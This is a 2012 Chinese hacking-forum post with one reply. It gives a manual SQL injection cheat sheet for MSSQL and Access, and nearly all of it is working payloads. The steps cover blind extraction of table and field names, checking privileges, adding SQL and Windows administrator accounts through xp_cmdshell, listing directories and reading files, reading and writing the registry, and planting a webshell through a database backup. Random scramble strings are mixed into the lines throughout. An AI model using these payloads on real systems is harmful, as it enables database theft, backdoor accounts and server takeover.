找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2269|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
0 R6 z( n5 K9 @$ d( d% W& b) m4 q1.判断是否有注入;and 1=1 ;and 1=2
% g6 V; _1 m0 N" y7 `; K1 O+ g  t1 J
3 z2 j( l) V$ u3 u* }# w- e% s- l2.初步判断是否是mssql ;and user>0 1 B3 m; p* w" A" X
3 |! A  [+ z, d" j( j" \# W( w
3.注入参数是字符'and [查询条件] and ''='
6 t7 [) m8 p) w# P
8 ^3 B9 I0 f: B( K' ^( }4.搜索时没过滤参数的'and [查询条件] and '%25'='
* d# j" I2 J1 P# B, ?# d% J" C" a2 G, x: W1 b8 A1 O7 y
5.判断数据库系统
7 J* n- ?) |. p( K! g: t;and (select count(*) from sysobjects)>0 mssql & p& J6 ?4 o- w  r7 j
;and (select count(*) from msysobjects)>0 access 8 x; ?/ W5 ]- {3 J

, m* z3 g$ s7 }$ s6.猜数据库 ;and (select Count(*) from [数据库名])>0
, M- Y: K$ S& R, m* r1 v
& l7 S) R1 a9 _7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ! }5 A9 D0 F/ u& s" h4 v
" a; d, c' i0 f/ j# K. P
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
# Q1 z7 b; a, m0 l9 |; \3 T% W4 S% N8 \: U
9.(1)猜字段的ascii值(access) 6 F" e. p6 n  G4 V) D% Z& B  k
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ! K+ s# Y. ^7 X0 J
5 q: z% o  P1 W* ]7 f: Q1 m
(2)猜字段的ascii值(mssql)
: u1 h; ^6 \) y8 D& g# }# h9 V;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8 I0 m# }$ z* [5 ?: [& c( q

( I+ T. Z0 v& F9 _- X- A10.测试权限结构(mssql) " @" f  [. P! X7 W. X- ^  ]* Q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ s" t( ?- l( r2 i5 q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( }$ i8 F* k; b5 P+ y
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6 ~! y; J2 a: C
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- % S" Y9 {% O% Q1 s) [
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3 ]8 ]  M6 @  H: f5 ?+ W
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- P' M* Y! I) L7 N# _5 W2 w3 g  d. l;and 1=(select IS_MEMBER('db_owner'));--
, n$ Z9 K/ [4 f. j8 w
) }8 T: K# }2 x2 A11.添加mssql和系统的帐户
) Y/ U- [) x" H: I3 P;exec master.dbo.sp_addlogin username;--
8 D7 R" J( Q6 i0 d* @' O2 ?# D% C% N2 a1 d2 v+ |. D- e- Z
;exec master.dbo.sp_password null,username,password;-- ; d; P8 u4 D: ~1 ?) p' @

* i, ^+ ^0 r- ~0 p- M; O;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; Y8 e. w& M- |1 ]2 }# ^# y4 J- ?' Y! N4 l
;exec master.dbo.xp_cmdshell 'net user username password # a9 C* H, m3 h7 J
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- " J  C9 r( n/ {! E0 v) w, b
4 I3 A* W' D- w9 f9 F) A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 [/ {5 `$ i) ]/ ?0 J

, J6 K. N% j$ c' a6 u* F7 g7 K! Y;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
3 d7 u3 b' R( k& i/ t; @
! D, v4 d. ]& b* U5 q5 N3 e12.(1)遍历目录
( C5 y3 w* C/ u/ |8 k. }* y2 b( B, _6 K2 s! Q) c8 @
;create table dirs(paths varchar(100), id int) , X) I( h7 L+ M( R
;insert dirs exec master.dbo.xp_dirtree 'c:\'
- |/ D+ X, O- }# V;and (select top 1 paths from dirs)>0 9 q  ^7 u! F( N5 t6 R
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3 a6 b" {4 U+ I# i

7 a: r! D; q, K(2)遍历目录 - P! v$ S' r% R( ]% P
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ( |( B, k( A7 P8 P
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
% B( j8 J+ ?3 H6 `( _;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
; L# z9 b7 b! k2 J6 [;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
6 }: r  y+ ?3 `. E7 w9 F  h4 ];insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
# N/ |5 n  C4 I/ V; D
9 S1 X! U/ H- s! _13.mssql中的存储过程
# l; v  i, u+ D0 Z  ~" |7 ^" y! B0 i; k5 M% ^) w$ v
xp_regenumvalues 注册表根键, 子键 5 U3 d4 g1 o3 f
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
  ~- c; h! c* S! F* _+ L' S9 |
! i: U/ x9 b1 |. f9 d- X8 [xp_regread 根键,子键,键值名
+ N( Q* O/ t% j;exec xp_regread
4 h4 L9 H* }9 a  l'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值   y6 r# d- }3 }- N

/ C% w6 m6 A  @% exp_regwrite 根键,子键, 值名, 值类型, 值
1 p9 }: g7 \: L; [7 t值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 * T) }+ T; C$ `5 q; a# V/ x: r
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
4 b( I, Q0 W0 e, g. Y& C* o5 i- r4 f9 w4 d1 Z! L5 V/ R
xp_regdeletevalue 根键,子键,值名
; h2 u/ w& O" B1 U! J7 z
7 o8 i5 F, J2 r% H7 nexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ! W) V, p9 t- d5 R

+ R! Z9 x$ {% \# e0 Rxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
; B; S1 C5 D! s: K8 k! h
# u$ X* j3 C& x) i! p  ]14.mssql的backup创建webshell : T5 {6 u  J8 b/ B
use model
% C" X! v# m' u. Y) hcreate table cmd(str image);
: j/ }' w7 [: \5 Dinsert into cmd(str) values (''); 4 o7 s( E1 b! E* i/ c, d7 _
backup database model to disk='c:\l.asp'; 1 K. o' a1 y5 N) n% c  Y6 \
4 N' O# a1 d# n- b9 u8 ^9 D$ @
15.mssql内置函数 ( @) d' I# t+ D' N' c! Z- R0 X
;and (select @@version)>0 获得Windows的版本号 + E. {% r* z6 ~* q' o
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
5 R  t3 `7 {( R) h, I0 \;and (select user_name())>0 爆当前系统的连接用户 2 d* ?. F; B# L5 {( G& @
;and (select db_name())>0 得到当前连接的数据库 ) W0 K, y% ^5 V" a0 p+ ?/ N( E" Z
( ^- f( t3 V4 R8 K
16.简洁的webshell / z9 p. X7 D/ ?
8 \# c' }2 |7 Q; ^/ d# u
use model , z& Q. ^- M; Z9 H) [- X; H

! k& X3 A- P5 b  ucreate table cmd(str image); 9 K) R7 O  F" t; @9 l9 K

( X+ {1 }" ]( L0 k7 m) Finsert into cmd(str) values (''); ) f! J/ X+ d! z- l) p

/ C! s4 C% w) P$ |! I) `! [backup database model to disk='g:\wwwtest\l.asp';
1 ]# w5 ]( k+ z1 N
5 s: E  `) A) X9 t3 ^' @$ T
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表